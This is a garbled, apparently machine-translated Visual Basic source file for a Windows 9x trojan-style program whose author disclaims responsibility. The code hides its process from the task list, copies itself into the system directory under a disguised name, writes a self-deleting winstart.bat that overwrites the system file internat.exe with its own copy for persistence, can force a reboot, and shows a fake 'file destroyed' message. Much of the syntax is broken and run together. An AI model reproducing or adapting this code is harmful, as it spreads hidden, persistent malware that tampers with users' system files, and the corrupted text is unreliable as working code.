'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' This program is for reference only, if any losses are not responsible.
'' OICQ: 102490 '' E-mail: Skydg@21cn.com '' http://skydg.yeah.net '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ': GetCurrentProcess Lib "kernel32" () As Long Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Const RSP_SIMPLE_SERVICE = 1 Const RSP_UNREGISTER_SERVICE = 0 'exit Windows Private Declare Function ExitWindowsEx Lib "user32" ( ByVal uFlags As Long, ByVal dwReserved As Long) As Long Const EWX_LOGOFF = 0 Const EWX_SHUTDOWN = 1 Const EWX_REBOOT = 2 Const EWX_FORCE = 4 Const WM_SYSCOMMAND = & H112 & Const SC_SCREENSAVE = & HF140 & 'form always on top Private Declare Function SetWindowPos Lib "user32" (Byval HwndInsertafter As Long, Byval X As Long, Byval Y As Long, BYVAL CX As Long, Byval Cy As LO ng, ByVal wFlags As Long) As Long Const HWND_TOPMOST = -1 'connected Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String , ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Const SW_SHOWNORMAL = 1 Const URL = "http://www.microsoft.com"
'Find system directory Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Const MAX_PATH = 260 () Dim strFolder As String Dim lngResult As Long strFolder = String (MAX_PATH, 0) lngResult = GetWindowsDirectory (strFolder, MAX_PATH) If lngResult Dim exitButton As Boolean 'acquisition windows directory Function GetWinPath <> 0 Then GetWinPath = Left (strFolder, InStr (strFolder, Chr (0)) - 1) Else GetWinPath = "" End If End Function 'acquisition system directory Function GetSystemPath () Dim strFolder As String Dim lngResult As Long strFolder = String (MAX_PATH, 0 LNGRESULT = GetSystemDirectory (strfolder, max_path) if lngresult <> 0 dam getSystemPath = Left (Strfolder, INSTR (Strfolder, Chr (0)) - 1) Else getsystempath = "" end if end function 'File exists Function FileExists (filename As String) As Integer Dim i As Integer On Error Resume Next i = Len (Dir $ (filename)) If Err Or i = 0 Then FileExists = False Else FileExists = True End Function' hidden process public Sub RemoveProgramFromList () Dim lngProcessID As Long Dim lngReturn As Long Dim pid As Long lngProcessID = GetCurrentProcessId () lngReturn = RegisterServiceProcess (pid, RSP_SIMPLE_SERVICE) End Sub 'open a browser public Sub gotoweb () Dim Success As Long Success = ShellExecute (0 & , VBnullString, URL, VBNULLSTRING, "C: /", SW_SHOWNORMAL) End Sub '
Even the website Private Sub cmdBuy_Click () gotoweb End Sub 'restart Private Sub cmdReset_Click () Dim lresult lresult = ExitWindowsEx (EWX_REBOOT, 0 &) End Sub Private Sub Form_Load () On Error Resume Next Dim Path As String Dim SourceFile, DestinationFile Path = App.Path if Right (PATH, 1) <> "/" THEN PATH = path & "= 0. PREVINSTANCE THEN END IFEXISTS (GetSystemPath &" /intarnet.dll.exe ") = 0 THEN 'Backup Internat. exe file SourceFile = GetSystemPath & "/internat.exe" DestinationFile = GetSystemPath & "/intarnet.dll.exe" FileCopy SourceFile, DestinationFile 'copy itself SourceFile = Path & App.EXEName & ".EXE" DestinationFile = GetSystemPath & "/ so .dll.exe "filecopy sourcefile, destinationfile" Option WinStart.bat file open getwinpath & "/winstart.bat" for append as # 1 print # 1, "@echo off" print # 1, "Copy" & GetSystemPath & "/ So.dll.exe "& getSystemPath &" /inTernat.exe / y> NUL "Print # 1 "DEL" & getwinpath & "/winstart.bat" Close # 1 end if 'Check if the file is executed if app.path <> getSystemPath The msgbox code code is incomplete or error, the file has been destroyed.
